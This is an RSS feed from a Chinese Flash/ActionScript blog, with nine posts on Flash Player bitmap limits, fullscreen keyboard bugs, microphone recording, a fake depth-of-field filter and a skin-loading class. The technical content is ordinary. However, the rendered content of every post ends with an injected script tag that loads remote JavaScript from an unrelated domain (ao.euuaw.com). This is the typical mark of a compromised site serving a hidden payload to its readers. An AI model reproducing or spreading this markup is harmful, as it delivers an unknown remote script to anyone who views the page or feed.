<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kingnare Blog &#187; ActionScript</title>
	<atom:link href="http://www.kingnare.com/auzn/archives/category/actionscript/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kingnare.com/auzn</link>
	<description>Life &#38; Flash</description>
	<lastBuildDate>Tue, 13 Jul 2010 06:01:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Flash Player 10.1 麦克录制测试</title>
		<link>http://www.kingnare.com/auzn/archives/505</link>
		<comments>http://www.kingnare.com/auzn/archives/505#comments</comments>
		<pubDate>Thu, 19 Nov 2009 00:55:16 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=505</guid>
		<description><![CDATA[<p>照着ADOBE的在线文档做了一个测试程序, 录制声音5秒再播放, 代码基本都是帮助文档中的.
许多人的愿望到今天终于实现了 
预览(需要flash player 10.1):
FirstApp
下载代码:
点击下载此文件
另外, 在jinni的文章中列出了很多AIR2的应用, 其中就包括录制并保存,还可以调用关联程序播放的例子:</p>
<p>http://blog.everythingflex.com/2009/11/17/air-2-0-sample-applications/</p>
<p></p>
]]></description>
			<content:encoded><![CDATA[<p>照着ADOBE的在线文档做了一个测试程序, 录制声音5秒再播放, 代码基本都是帮助文档中的.<br />
许多人的愿望到今天终于实现了 <img src='http://www.kingnare.com/auzn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
预览(需要<a target="_blank" href="http://labs.adobe.com/downloads/flashplayer10.html">flash player 10.1</a>):<br />
<strong><a target="_blank" href="attachments/month_0911/v20091118162414.swf">FirstApp</a></strong><br />
下载代码:<br />
<strong><a target="_blank" href="attachments/month_0911/420091118163734.zip">点击下载此文件</a></strong><br />
另外, 在<a target="_blank" href="http://swfever.com/?p=640">jinni的文章</a>中列出了很多AIR2的应用, 其中就包括录制并保存,还可以调用关联程序播放的例子:</p>
<p>http://blog.everythingflex.com/2009/11/17/air-2-0-sample-applications/</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/505/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Flash位图的处理限制</title>
		<link>http://www.kingnare.com/auzn/archives/508</link>
		<comments>http://www.kingnare.com/auzn/archives/508#comments</comments>
		<pubDate>Fri, 06 Nov 2009 10:03:24 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=508</guid>
		<description><![CDATA[<p>读了后, 做了一下测试.的确存在这样的问题.
文档(FlashPlayer10)中指出BitmapData的高或宽不能超过8191个像素, 总像素数不能超过16777215.
这里估计也是Flash的位图处理限制.即使是在Flash CS4这样的可视化的IDE中, 同样存在这个现象:
找来一张3200&#215;1666的图片(尽量选择大尺寸图片便于测试极限情况).
将其宽度缩小至50, 在舞台中从最左拖至最右(舞台范围尽量调大),
X轴上总会有一个位置M,当图片经过M时, 图片内容会发生变化,
出现重复图像(导入的图片被打散[Ctrl+B操作])或出现纯色以及拉丝等现象.
而且在编辑状态,这个位置M和Flash舞台(0,0)位置无关,而是与编辑区的左上顶点有关.
可以这么理解, 编辑区其实是一个实时编译的&#8221;SWF&#8221;.
这点和Flex Builder有些相似, 有时我们会发现在进入CSS的预览面板时,
能够看到熟悉的FLEX程序加载进度条.
进一步测试可以发现这个M与图像高度无关(下图中第二组图片经过外面剪切后重新导入Flash中):

但是与图像原始宽度及缩放比例有密切关系:


放大2000倍的舞台:


在Y轴上,同样存在对应着图片的&#8221;极限&#8221;位置N:

这个点怎么确定呢? 不知道. 这里通过对点位置有影响的几个属性值做了简单推算, 以宽度计算为例, 图片原始宽度ow, 当前宽度w, 假设存在某个常量C,
那么公式可能是C=M*(ow/w), 这个C大概在35000~36000, 而对于高度测试中大概在18000左右浮动.
上面文章中指出2562宽度的图片,实际宽度为50,坐标不超过640, 按C=M*(ow/w)可以算出数值为(640+50)*(2562/50) = 35355.6
当然,真正的过程不得而知,也许和内存占用,位图渲染处理有关.这种计算结果不可能是一个&#8221;范围&#8221;, 上面的推算仅供参考,博君一笑.
希望有知道原理的兄弟指点一下 
扩展阅读:
Flash Player Bitmap Limits 
Flash Player Bitmap Limits Again 
BitmapData
</p>
]]></description>
			<content:encoded><![CDATA[<p>读了<a target="_blank" href="http://www.dansion.com/blog/fromflash/flash-loader-bug.html"><FLASH Loader 的 bug?></a>后, 做了一下测试.的确存在这样的问题.<br />
文档(FlashPlayer10)中指出BitmapData的高或宽不能超过8191个像素, 总像素数不能超过16777215.<br />
这里估计也是Flash的位图处理限制.即使是在Flash CS4这样的可视化的IDE中, 同样存在这个现象:<br />
找来一张3200&#215;1666的图片(尽量选择大尺寸图片便于测试极限情况).<br />
将其宽度缩小至50, 在舞台中从最左拖至最右(舞台范围尽量调大),<br />
X轴上总会有一个位置M,当图片经过M时, 图片内容会发生变化,<br />
出现重复图像(导入的图片被打散[Ctrl+B操作])或出现纯色以及拉丝等现象.<br />
而且在编辑状态,这个位置M和Flash舞台(0,0)位置无关,而是与编辑区的左上顶点有关.<br />
可以这么理解, 编辑区其实是一个实时编译的&#8221;SWF&#8221;.<br />
这点和Flex Builder有些相似, 有时我们会发现在进入CSS的预览面板时,<br />
能够看到熟悉的FLEX程序加载进度条.<br />
进一步测试可以发现这个M与图像高度无关(下图中第二组图片经过外面剪切后重新导入Flash中):<br />
<img src="attachments/month_0911/2200911615218.png" border="0" alt=""/><br />
但是与图像原始宽度及缩放比例有密切关系:<br />
<img src="attachments/month_0911/4200911615326.png" border="0" alt=""/><br />
<img src="attachments/month_0911/e20091161534.png" border="0" alt=""/><br />
放大2000倍的舞台:<br />
<img src="attachments/month_0911/b20091161552.png" border="0" alt=""/><br />
<img src="attachments/month_0911/9200911615511.png" border="0" alt=""/><br />
在Y轴上,同样存在对应着图片的&#8221;极限&#8221;位置N:<br />
<img src="attachments/month_0911/p200911615418.png" border="0" alt=""/><br />
这个点怎么确定呢? 不知道. 这里通过对点位置有影响的几个属性值做了简单推算, 以宽度计算为例, 图片原始宽度ow, 当前宽度w, 假设存在某个常量C,<br />
那么公式可能是C=M*(ow/w), 这个C大概在35000~36000, 而对于高度测试中大概在18000左右浮动.<br />
上面文章中指出2562宽度的图片,实际宽度为50,坐标不超过640, 按C=M*(ow/w)可以算出数值为(640+50)*(2562/50) = 35355.6<br />
当然,真正的过程不得而知,也许和内存占用,位图渲染处理有关.这种计算结果不可能是一个&#8221;范围&#8221;, 上面的推算仅供参考,博君一笑.<br />
希望有知道原理的兄弟指点一下 <img src='http://www.kingnare.com/auzn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
扩展阅读:<br />
<a target="_blank" href="http://martijnvanbeek.net/weblog/79/flash_player_bitmap_limits_again.html">Flash Player Bitmap Limits </a><br />
<a target="_blank" href="http://martijnvanbeek.net/weblog/73/flash_player_bitmap_limits.html">Flash Player Bitmap Limits Again </a><br />
<a target="_blank" href="http://help.adobe.com/en_US/AS3LCR/Flash_10.0/flash/display/BitmapData.html">BitmapData</a><br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/508/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grant Skinner的关于AS3代码优化演示稿</title>
		<link>http://www.kingnare.com/auzn/archives/510</link>
		<comments>http://www.kingnare.com/auzn/archives/510#comments</comments>
		<pubDate>Fri, 25 Sep 2009 09:22:38 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=510</guid>
		<description><![CDATA[<p>来源:http://theflashblog.com/?p=1416

地址:http://gskinner.com/talks/quick
很不错的slides, 共100页, 简单明了, 还配有实例.
使用左右方向键查看前后页, 或者直接在页码处填写100内的数字,回车即可.当然, 直接在地址栏写入页码也是可行的 
P.S. slides过渡效果也很帅的
</p>
]]></description>
			<content:encoded><![CDATA[<p>来源:http://theflashblog.com/?p=1416<br />
<a target="_blank" href="http://gskinner.com/talks/quick/"><img src="attachments/month_0909/3200992512224.png" border="0" alt=""/></a><br />
地址:<strong><a target="_blank" href="http://gskinner.com/talks/quick">http://gskinner.com/talks/quick</a></strong><br />
很不错的slides, 共100页, 简单明了, 还配有实例.<br />
使用左右方向键查看前后页, 或者直接在页码处填写100内的数字,回车即可.当然, 直接在地址栏写入页码也是可行的 <img src='http://www.kingnare.com/auzn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
P.S. slides过渡效果也很帅的<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/510/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>切换页面中SWF的显示</title>
		<link>http://www.kingnare.com/auzn/archives/516</link>
		<comments>http://www.kingnare.com/auzn/archives/516#comments</comments>
		<pubDate>Thu, 27 Aug 2009 07:16:21 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=516</guid>
		<description><![CDATA[<p>要实现两个嵌入SWF的DIV显示切换.
可通过设置display, visibility, height/width及left等(因为两个层的position都是absolute)实现.
对于display, 当SWF依附层隐藏再显示后, 通过JavaScript调用SWF内部方法时会提示找不到方法.换作火狐3.5测试, 此现象消失, 换回IE8, 一切如故.
测试visibility, 结果一样. 反复测试, 最终放弃使用这两个属性, 换作height=0来隐藏SWF层.
P.S. 使用AC_FL_RunContent插入SWF文件
同时找到一篇切换SWF的文章:</p>
<p>http://pipwerks.com/lab/swfobject/hide-swf/2.0/index.html</p>
<p></p>
]]></description>
			<content:encoded><![CDATA[<p>要实现两个嵌入SWF的DIV显示切换.<br />
可通过设置display, visibility, height/width及left等(因为两个层的position都是absolute)实现.<br />
对于display, 当SWF依附层隐藏再显示后, 通过JavaScript调用SWF内部方法时会提示找不到方法.换作火狐3.5测试, 此现象消失, 换回IE8, 一切如故.<br />
测试visibility, 结果一样. 反复测试, 最终放弃使用这两个属性, 换作height=0来隐藏SWF层.<br />
P.S. 使用AC_FL_RunContent插入SWF文件<br />
同时找到一篇切换SWF的文章:</p>
<p>http://pipwerks.com/lab/swfobject/hide-swf/2.0/index.html</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/516/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>使用BitmapData.applyFilter实现伪景深(Depth of field)</title>
		<link>http://www.kingnare.com/auzn/archives/525</link>
		<comments>http://www.kingnare.com/auzn/archives/525#comments</comments>
		<pubDate>Sun, 10 May 2009 06:18:27 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=525</guid>
		<description><![CDATA[<p>景深 (Depth of field (wiki))有时可以增强立体感
可惜Flash未内置这种滤镜，Pixel Bender也许能实现，不过不会写 -_-
借助BitmapData.applyFilter分段为位图添加BlurFilter，可以实现假的&#8221;景深&#8221;效果：
视点在左侧：

视点在中间：

方法：
public function applyFilter(sourceBitmapData:BitmapData, sourceRect:Rectangle, destPoint:Point, filter:BitmapFilter):void
参数:
sourceBitmapData:BitmapData — 要使用的输入位图图像。
sourceRect:Rectangle — 定义要用作输入的源图像区域的矩形。
destPoint:Point — 目标图像(当前 BitmapData 实例)中与源矩形的左上角对应的点。
filter:BitmapFilter — 用于执行过滤操作的滤镜对象。
Demo(点击apply应用滤镜)
Source
不过位图块之间的过渡有时不是很自然，会由于模糊得太过导致较大的间隙，当然，离远些就不明显了(笑).
</p>
]]></description>
			<content:encoded><![CDATA[<p><u><strong><a target="_blank" href="http://baike.baidu.com/view/7278.html">景深</a></strong></u> (<u><strong><a target="_blank" href="http://en.wikipedia.org/wiki/Depth_of_field">Depth of field (wiki)</a></strong></u>)有时可以增强立体感<br />
可惜Flash未内置这种滤镜，Pixel Bender也许能实现，不过不会写 -_-<br />
借助BitmapData.applyFilter分段为位图添加BlurFilter，可以实现假的&#8221;景深&#8221;效果：<br />
视点在左侧：<br />
<img src="attachments/month_0905/s200959215516.png" border="0" alt=""/><br />
视点在中间：<br />
<img src="attachments/month_0905/e200959222359.png" border="0" alt=""/><br />
方法：<br />
public function applyFilter(sourceBitmapData:BitmapData, sourceRect:Rectangle, destPoint:Point, filter:BitmapFilter):void<br />
参数:<br />
sourceBitmapData:BitmapData — 要使用的输入位图图像。<br />
sourceRect:Rectangle — 定义要用作输入的源图像区域的矩形。<br />
destPoint:Point — 目标图像(当前 BitmapData 实例)中与源矩形的左上角对应的点。<br />
filter:BitmapFilter — 用于执行过滤操作的滤镜对象。<br />
<u><strong><a target="_blank" href="attachments/month_0905/dof/DepthOfField.html">Demo</a></strong></u>(点击apply应用滤镜)<br />
<u><strong><a target="_blank" href="attachments/month_0905/dof/srcview/DepthOfField.zip">Source</a></strong></u><br />
不过位图块之间的过渡有时不是很自然，会由于模糊得太过导致较大的间隙，当然，离远些就不明显了(笑).<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/525/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>模仿CDNetworks播放器带宽面板</title>
		<link>http://www.kingnare.com/auzn/archives/526</link>
		<comments>http://www.kingnare.com/auzn/archives/526#comments</comments>
		<pubDate>Sun, 10 May 2009 05:44:40 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=526</guid>
		<description><![CDATA[<p>仿上篇文章中提到过的带宽面板，用到了位图的applyFilter方法，Action直接写在了时间轴上，面板界面使用Flash CS工具绘制。

Demo
Source(Flash CS4 required)
</p>
]]></description>
			<content:encoded><![CDATA[<p>仿上篇<u><strong><a target="_blank" href="http://www.kingnare.com/auzn/article.asp?id=208">文章</a></strong></u>中提到过的带宽面板，用到了位图的applyFilter方法，Action直接写在了时间轴上，面板界面使用Flash CS工具绘制。<br />
<img src="attachments/month_0905/p20095921441.png" border="0" alt=""/><br />
<u><strong><a target="_blank" href="http://www.kingnare.com/auzn/attachments/month_0905/lighten.swf">Demo</a></strong></u><br />
<u><strong><a target="_blank" href="http://www.kingnare.com/auzn/attachments/month_0905/lighten.zip">Source(Flash CS4 required)</a></strong></u><br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/526/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flash全屏右键菜单偏移BUG</title>
		<link>http://www.kingnare.com/auzn/archives/529</link>
		<comments>http://www.kingnare.com/auzn/archives/529#comments</comments>
		<pubDate>Mon, 04 May 2009 20:38:06 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=529</guid>
		<description><![CDATA[<p>已经有人提交了:
context menu position in full screen is shifted
FP9没有问题，只有FP10且在IE浏览器下发生。
如果你设置了stage的属性fullScreenSourceRect，像这样：
stage.fullScreenSourceRect = new Rectangle(0,0,800,600);
当切换到全屏的时候点击右键就会产生问题。
</p>
]]></description>
			<content:encoded><![CDATA[<p>已经有人提交了:<br />
<strong><a target="_blank" href="http://bugs.adobe.com/jira/browse/FP-1900">context menu position in full screen is shifted</a></strong><br />
FP9没有问题，只有FP10且在IE浏览器下发生。<br />
如果你设置了stage的属性fullScreenSourceRect，像这样：<br />
<strong>stage.fullScreenSourceRect = new Rectangle(0,0,800,600);</strong><br />
当切换到全屏的时候点击右键就会产生问题。<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/529/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AS3嵌入SWF资源</title>
		<link>http://www.kingnare.com/auzn/archives/534</link>
		<comments>http://www.kingnare.com/auzn/archives/534#comments</comments>
		<pubDate>Tue, 24 Mar 2009 07:06:29 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=534</guid>
		<description><![CDATA[<p>Embedding Resources with AS3</p>
<p>http://www.bit-101.com/blog/?p=853</p>
<p>Flex Embed SWF 與 Embed Symbol 的差異</p>
<p>http://ticore.blogspot.com/2007/12/flex-embed-swf-embed-symbol.html</p>
<p></p>
]]></description>
			<content:encoded><![CDATA[<p><strong>Embedding Resources with AS3</strong></p>
<p>http://www.bit-101.com/blog/?p=853</p>
<p><strong>Flex Embed SWF 與 Embed Symbol 的差異</strong></p>
<p>http://ticore.blogspot.com/2007/12/flex-embed-swf-embed-symbol.html</p>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/534/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Flash全屏BUG?</title>
		<link>http://www.kingnare.com/auzn/archives/535</link>
		<comments>http://www.kingnare.com/auzn/archives/535#comments</comments>
		<pubDate>Sat, 14 Mar 2009 03:49:16 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=535</guid>
		<description><![CDATA[<p>新建一个项目，添加全屏操作，stage加入键盘监听，编译运行。
使用独立的flashplayer打开，正常
在IE7中打开含flash的页面，多次进行全屏操作，可以发现在全屏事件后，输出了空格的按键事件
在Firefox/3.0.7中测试，每次进入全屏后都会出现这种问题。
flashplayer版本均为最新:10.0.22.87
将版本降至10.0.12.36，问题依旧。
拿到示例到同事电脑上测试，Firefox和flash版本与上述版本相同，但未出现此现象。
被这个问题困扰半日，因为程序中要监听空格键，全屏后自动角触发空格键，扰乱程序执行了。
另外，进入全屏后(测试过目前常见的视频站的播放器)，激活右键，会发现fps降到了1~2左右，电脑异常缓慢，右键菜单取消后，恢复正常。但同事电脑上也无此现象。
示例代码：
stage.scaleMode = StageScaleMode.NO_SCALE;
stage.align = StageAlign.TOP_LEFT;
stage.addEventListener(KeyboardEvent.KEY_UP, keyUpHandler);
stage.addEventListener(KeyboardEvent.KEY_DOWN, keyDownHandler);
btn.addEventListener(MouseEvent.CLICK, clickHandler);
function clickHandler(event:MouseEvent):void
{
if (stage.displayState == StageDisplayState.NORMAL)
{
stage.displayState = StageDisplayState.FULL_SCREEN;
}
else
{
stage.displayState = StageDisplayState.NORMAL;
}
txt.appendText(&#8220;stage.displayState &#8211;> &#8220;+stage.displayState.toString()+&#8221;\n&#8221;);
txt.scrollV = txt.maxScrollV;
}
function keyUpHandler(event:KeyboardEvent):void
{
if(event.keyCode == Keyboard.SPACE)
{
txt.appendText(&#8220;你松开了空格\n&#8221;);
}
txt.scrollV = txt.maxScrollV;
}
function keyDownHandler(event:KeyboardEvent):void
{
if(event.keyCode == Keyboard.SPACE)
{
txt.appendText(&#8220;你按下了空格\n&#8221;);
}
txt.scrollV = txt.maxScrollV;
}
测试:Download
测试代码:Download
通过全屏后的100ms内禁用按键监听，也算是解决这个问题了
</p>
]]></description>
			<content:encoded><![CDATA[<p>新建一个项目，添加全屏操作，stage加入键盘监听，编译运行。<br />
使用独立的flashplayer打开，正常<br />
在IE7中打开含flash的页面，多次进行全屏操作，可以发现在全屏事件后，输出了空格的按键事件<br />
在Firefox/3.0.7中测试，每次进入全屏后都会出现这种问题。<br />
flashplayer版本均为最新:10.0.22.87<br />
将版本降至10.0.12.36，问题依旧。<br />
拿到示例到同事电脑上测试，Firefox和flash版本与上述版本相同，但未出现此现象。<br />
被这个问题困扰半日，因为程序中要监听空格键，全屏后自动角触发空格键，扰乱程序执行了。<br />
另外，进入全屏后(测试过目前常见的视频站的播放器)，激活右键，会发现fps降到了1~2左右，电脑异常缓慢，右键菜单取消后，恢复正常。但同事电脑上也无此现象。<br />
示例代码：<br />
stage.scaleMode = StageScaleMode.NO_SCALE;<br />
stage.align = StageAlign.TOP_LEFT;<br />
stage.addEventListener(KeyboardEvent.KEY_UP, keyUpHandler);<br />
stage.addEventListener(KeyboardEvent.KEY_DOWN, keyDownHandler);<br />
btn.addEventListener(MouseEvent.CLICK, clickHandler);<br />
function clickHandler(event:MouseEvent):void<br />
{<br />
if (stage.displayState == StageDisplayState.NORMAL)<br />
{<br />
stage.displayState = StageDisplayState.FULL_SCREEN;<br />
}<br />
else<br />
{<br />
stage.displayState = StageDisplayState.NORMAL;<br />
}<br />
txt.appendText(&#8220;stage.displayState &#8211;> &#8220;+stage.displayState.toString()+&#8221;\n&#8221;);<br />
txt.scrollV = txt.maxScrollV;<br />
}<br />
function keyUpHandler(event:KeyboardEvent):void<br />
{<br />
if(event.keyCode == Keyboard.SPACE)<br />
{<br />
txt.appendText(&#8220;你松开了空格\n&#8221;);<br />
}<br />
txt.scrollV = txt.maxScrollV;<br />
}<br />
function keyDownHandler(event:KeyboardEvent):void<br />
{<br />
if(event.keyCode == Keyboard.SPACE)<br />
{<br />
txt.appendText(&#8220;你按下了空格\n&#8221;);<br />
}<br />
txt.scrollV = txt.maxScrollV;<br />
}<br />
测试:<strong><a target="_blank" href="http://www.kingnare.com/auzn/temp/fs.html">Download</a></strong><br />
测试代码:<strong><a target="_blank" href="http://www.kingnare.com/auzn/temp/fs.zip">Download</a></strong><br />
通过全屏后的100ms内禁用按键监听，也算是解决这个问题了<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/535/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>皮肤库元件加载及解析</title>
		<link>http://www.kingnare.com/auzn/archives/538</link>
		<comments>http://www.kingnare.com/auzn/archives/538#comments</comments>
		<pubDate>Mon, 02 Mar 2009 21:33:13 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[ActionScript]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=538</guid>
		<description><![CDATA[<p>最近又开始做播放器(同学一直说我是播霸),打算重新写一个超轻量级的样式管理。
coding的时候不禁怀念并感叹FLEX的样式管理真的很强大。
下面代码是很简单却也是库元件的核心：
package com.skin
{
import flash.display.Loader;
/**
* 解析皮肤元件
* @author kingnare
*
*/
public class SkinFactory
{
public static var loader:Loader;
public static function make(classname:String):*
{
if(!loader)
{
throw new Error(&#8220;Loader is null&#8221;);
}
try
{
if(loader.contentLoaderInfo.applicationDomain.hasDefinition(classname))
{
var classReference:Class = loader.contentLoaderInfo.applicationDomain.getDefinition(classname) as Class;
return new classReference();
}
else
{
return null;
}
}
catch(e:Error)
{
throw new Error(&#8220;Error when getting skin symbol:&#8221;+classname);
}
}
}
}
留此文以备用。
</p>
]]></description>
			<content:encoded><![CDATA[<p>最近又开始做播放器(同学一直说我是播霸),打算重新写一个超轻量级的样式管理。<br />
coding的时候不禁怀念并感叹FLEX的样式管理真的很强大。<br />
下面代码是很简单却也是库元件的核心：<br />
package com.skin<br />
{<br />
import flash.display.Loader;<br />
/**<br />
* 解析皮肤元件<br />
* @author kingnare<br />
*<br />
*/<br />
public class SkinFactory<br />
{<br />
public static var loader:Loader;<br />
public static function make(classname:String):*<br />
{<br />
if(!loader)<br />
{<br />
throw new Error(&#8220;Loader is null&#8221;);<br />
}<br />
try<br />
{<br />
if(loader.contentLoaderInfo.applicationDomain.hasDefinition(classname))<br />
{<br />
var classReference:Class = loader.contentLoaderInfo.applicationDomain.getDefinition(classname) as Class;<br />
return new classReference();<br />
}<br />
else<br />
{<br />
return null;<br />
}<br />
}<br />
catch(e:Error)<br />
{<br />
throw new Error(&#8220;Error when getting skin symbol:&#8221;+classname);<br />
}<br />
}<br />
}<br />
}<br />
留此文以备用。<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/538/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
